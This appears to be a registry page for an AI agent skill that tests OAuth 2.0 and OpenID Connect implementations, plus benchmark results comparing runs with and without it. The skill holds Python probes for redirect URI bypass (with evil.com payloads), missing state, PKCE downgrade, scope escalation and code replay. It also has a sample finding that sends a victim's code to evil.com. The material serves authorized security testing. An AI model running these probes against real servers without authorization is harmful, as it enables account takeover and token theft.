Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Tests OAuth 2.0 and OpenID Connect implementations for security flaws including authorization code interception, redirect URI manipulation, CSRF in OAuth flows, token leakage, scope escalation, and PKCE bypass. The tester evaluates the authorization server, client application, and token handling for common misconfigurations that enable account takeover or unauthorized access. Activates for requests involving OAuth security testing, OIDC vulnerability assessment, OAuth2 redirect bypass, or authorization code flow testing.
.claude/skills/testing-oauth2-implementation-flaws/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-11 | ✗→✓ | ▲ Improved | — | — |
| case-17 | ✗→✓ | ▲ Improved | — | — |
| case-08 | ✓→✓ | = Same ✓ | — | — |
| case-03 | ✗→✗ | = Same ✗ | — | — |
| case-10 | ✗→✗ | = Same ✗ | — | — |
Do not use without written authorization. OAuth testing may result in token theft or unauthorized access.
requests and oauthlib librariespythonimport requests import urllib.parse import re import hashlib import base64 import secrets AUTH_SERVER = "https://auth.example.com" CLIENT_ID = "test-client-id" REDIRECT_URI = "https://app.example.com/callback" SCOPE = "openid profile email" # Discover OAuth endpoints well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration") if well_known.status_code == 200: config = well_known.json() print("OAuth/OIDC Configuration:") print(f" Authorization: {config.get('authorization_endpoint')}") print(f" Token: {config.get('token_endpoint')}") print(f" UserInfo: {config.get('userinfo_endpoint')}") print(f" JWKS: {config.get('jwks_uri')}") print(f" Supported grants: {config.get('grant_types_supported')}") print(f" Supported scopes: {config.get('scopes_supported')}") print(f" PKCE methods: {config.get('code_challenge_methods_supported')}") auth_endpoint = config['authorization_endpoint'] token_endpoint = config['token_endpoint'] else: # Try common paths for path in ["/authorize", "/oauth/authorize", "/oauth2/authorize", "/auth"]: resp = requests.get(f"{AUTH_SERVER}{path}", allow_redirects=False) if resp.status_code in (302, 400): print(f"Authorization endpoint found: {AUTH_SERVER}{path}") auth_endpoint = f"{AUTH_SERVER}{path}" break
python# Test redirect_uri validation strictness REDIRECT_BYPASS_PAYLOADS = [ # Open redirect variations REDIRECT_URI, # Legitimate "https://evil.com", # Different domain "https://app.example.com.evil.com/callback", # Subdomain of attacker "https://app.example.com@evil.com/callback", # URL authority confusion f"{REDIRECT_URI}/../../../evil.com", # Path traversal f"{REDIRECT_URI}?next=https://evil.com", # Parameter injection f"{REDIRECT_URI}#https://evil.com", # Fragment injection f"{REDIRECT_URI}%23evil.com", # Encoded fragment "https://app.example.com/callback/../../evil", # Relative path "https://APP.EXAMPLE.COM/callback", # Case variation "https://app.example.com/Callback", # Path case variation "https://app.example.com/callback/", # Trailing slash "https://app.example.com/callback?", # Trailing question mark "http://app.example.com/callback", # HTTP downgrade "https://app.example.com:443/callback", # Explicit port "https://app.example.com:8443/callback", # Different port f"{REDIRECT_URI}/.evil.com", # Dot segment "https://app.example.com/callbackevil", # Path prefix match "javascript://app.example.com/callback%0aalert(1)", # JavaScript protocol ] print("=== Redirect URI Validation Testing ===\n") for redirect in REDIRECT_BYPASS_PAYLOADS: params = { "response_type": "code", "client_id": CLIENT_ID, "redirect_uri": redirect, "scope": SCOPE, "state": secrets.token_urlsafe(32), } resp = requests.get(auth_endpoint, params=params, allow_redirects=False) if resp.status_code == 302: location = resp.headers.get("Location", "") if "code=" in location or redirect in location: status = "ACCEPTED" if redirect != REDIRECT_URI: print(f" [VULNERABLE] {redirect[:70]} -> Redirect accepted") else: status = "REDIRECTED" elif resp.status_code == 400: status = "REJECTED" else: status = f"HTTP {resp.status_code}" if redirect == REDIRECT_URI: print(f" [BASELINE] {redirect[:70]} -> {status}")
python# Test 1: Missing state parameter params_no_state = { "response_type": "code", "client_id": CLIENT_ID, "redirect_uri": REDIRECT_URI, "scope": SCOPE, } resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False) if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""): print("[CSRF] Authorization code issued without state parameter") # Test 2: State parameter reuse state_value = "fixed_state_value_123" # Use same state for multiple authorization requests for i in range(3): params = {**params_no_state, "state": state_value} resp = requests.get(auth_endpoint, params=params, allow_redirects=False) if resp.status_code == 302: location = resp.headers.get("Location", "") returned_state = urllib.parse.parse_qs( urllib.parse.urlparse(location).query).get("state", [None])[0] if returned_state == state_value: print(f"[INFO] Same state accepted on attempt {i+1} (check client-side validation)") # Test 3: Token exchange without state validation (client-side check) # Intercept the callback and try exchanging the code without state print("\nNote: State validation is a client-side check. Verify the callback handler validates state.")
python# Test if PKCE (Proof Key for Code Exchange) is enforced # Generate PKCE values code_verifier = secrets.token_urlsafe(64)[:128] code_challenge = base64.urlsafe_b64encode( hashlib.sha256(code_verifier.encode()).digest() ).decode().rstrip('=') # Test 1: Authorization request without PKCE params_no_pkce = { "response_type": "code", "client_id": CLIENT_ID, "redirect_uri": REDIRECT_URI, "scope": SCOPE, "state": secrets.token_urlsafe(32), } resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False) if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""): print("[PKCE] Authorization code issued without PKCE challenge") # Test 2: Token exchange without code_verifier auth_code = "captured_auth_code" # From intercept token_resp = requests.post(token_endpoint, data={ "grant_type": "authorization_code", "code": auth_code, "redirect_uri": REDIRECT_URI, "client_id": CLIENT_ID, # No code_verifier }) if token_resp.status_code == 200: print("[PKCE] Token issued without code_verifier - PKCE not enforced") # Test 3: Token exchange with wrong code_verifier token_resp = requests.post(token_endpoint, data={ "grant_type": "authorization_code", "code": auth_code, "redirect_uri": REDIRECT_URI, "client_id": CLIENT_ID, "code_verifier": "wrong_verifier_value_that_does_not_match", }) if token_resp.status_code == 200: print("[PKCE] Token issued with wrong code_verifier - PKCE validation broken") # Test 4: Downgrade from S256 to plain params_plain_pkce = { **params_no_pkce, "code_challenge": code_verifier, # Plain = verifier itself "code_challenge_method": "plain", } resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=False) if resp.status_code == 302: print("[PKCE] Plain challenge method accepted - vulnerable to interception")
python# Test 1: Request additional scopes beyond what's registered elevated_scopes = [ "openid profile email admin", "openid profile email write:users", "openid profile email delete:*", "openid profile email admin:full", "*", ] for scope in elevated_scopes: params = { "response_type": "code", "client_id": CLIENT_ID, "redirect_uri": REDIRECT_URI, "scope": scope, "state": secrets.token_urlsafe(32), } resp = requests.get(auth_endpoint, params=params, allow_redirects=False) if resp.status_code == 302: location = resp.headers.get("Location", "") if "code=" in location: print(f"[SCOPE] Elevated scope accepted: {scope}") # Test 2: Token reuse across clients # Use a token from client A on client B's API token_a = "access_token_from_client_a" resp = requests.get("https://other-service.example.com/api/resource", headers={"Authorization": f"Bearer {token_a}"}) if resp.status_code == 200: print("[TOKEN] Token from client A accepted by different service (audience not validated)") # Test 3: Refresh token theft and reuse refresh_token = "captured_refresh_token" # Try using refresh token with different client_id token_resp = requests.post(token_endpoint, data={ "grant_type": "refresh_token", "refresh_token": refresh_token, "client_id": "different-client-id", }) if token_resp.status_code == 200: print("[TOKEN] Refresh token accepted for different client - not bound to client")
python# Test if implicit flow is enabled (should be disabled per OAuth 2.1) implicit_params = { "response_type": "token", "client_id": CLIENT_ID, "redirect_uri": REDIRECT_URI, "scope": SCOPE, "state": secrets.token_urlsafe(32), } resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False) if resp.status_code == 302: location = resp.headers.get("Location", "") if "access_token=" in location: print("[IMPLICIT] Implicit flow enabled - token in URL fragment (deprecated/insecure)") # Test token leakage via Referer header # Check if tokens appear in URLs that could leak via Referer print("\nToken Leakage Checks:") print(" - Check if access tokens appear in URL query parameters") print(" - Check if tokens are logged in server access logs") print(" - Check if callback URL with code is cached by the browser") print(" - Check if the authorization code is single-use (replay test)") # Authorization code replay test auth_code_to_replay = "captured_auth_code" for attempt in range(3): token_resp = requests.post(token_endpoint, data={ "grant_type": "authorization_code", "code": auth_code_to_replay, "redirect_uri": REDIRECT_URI, "client_id": CLIENT_ID, "client_secret": "client_secret_value", }) print(f" Code replay attempt {attempt+1}: {token_resp.status_code}") if attempt > 0 and token_resp.status_code == 200: print(" [VULNERABLE] Authorization code is not single-use")
| Term | Definition | |------|------------| | Authorization Code Flow | OAuth 2.0 flow where the client receives an authorization code via redirect, then exchanges it for tokens at the token endpoint | | PKCE | Proof Key for Code Exchange - extension that binds the authorization request to the token request using a code verifier/challenge, preventing authorization code interception | | Redirect URI Validation | Authorization server verification that the redirect_uri matches the registered value exactly, preventing code/token theft via open redirect | | State Parameter | Random value passed in the authorization request and verified in the callback to prevent CSRF attacks on the OAuth flow | | Scope Escalation | Requesting or obtaining more permissions (scopes) than the client is authorized for, enabling unauthorized access | | Implicit Flow | Deprecated OAuth flow that returns tokens directly in the URL fragment, vulnerable to token leakage and replay attacks |
Context: A web application implements "Login with Google" and "Login with GitHub" using OAuth 2.0 Authorization Code flow. The application is a SaaS platform where account takeover has high business impact.
Approach:
/.well-known/openid-configuration for both providershttps://app.example.com/callback but the server accepts https://app.example.com/callback/..%2fevilopenid profile email but the authorization server also grants read:repos without explicit consentPitfalls:
## Finding: OAuth2 Redirect URI Bypass Enables Authorization Code Theft
**ID**: API-OAUTH-001
**Severity**: Critical (CVSS 9.3)
**Affected Component**: OAuth 2.0 Authorization Code Flow
**Authorization Server**: auth.example.com
**Description**:
The authorization server's redirect_uri validation uses prefix matching
instead of exact string matching. An attacker can manipulate the redirect_uri
to redirect the authorization code to an attacker-controlled endpoint,
enabling account takeover. Additionally, PKCE is not enforced and the
state parameter is not validated by the client application.
**Proof of Concept**:
1. Craft authorization URL with manipulated redirect_uri:
https://auth.example.com/authorize?response_type=code&client_id=app
&redirect_uri=https://app.example.com/callback/../../../evil.com
&scope=openid+profile+email&state=abc123
2. User authenticates and approves consent
3. Authorization code redirected to https://evil.com?code=AUTH_CODE&state=abc123
4. Attacker exchanges code at token endpoint (no PKCE required)
5. Attacker receives access token and ID token for victim's account
**Impact**:
Complete account takeover for any user who clicks a crafted OAuth login link.
The attacker gains full access to the user's profile, email, and any
resources the OAuth scope grants access to.
**Remediation**:
1. Implement exact string matching for redirect_uri validation (no wildcards, no prefix matching)
2. Enforce PKCE (S256 method) for all authorization code flow requests
3. Validate the state parameter in the callback handler before exchanging the code
4. Disable the implicit flow on the authorization server
5. Enforce single-use authorization codes with a short TTL (max 60 seconds)
6. Validate the audience (aud) claim in tokens before accepting them| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of +9 percentage points is the difference between those two pass rates over the 22 comparable cases.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.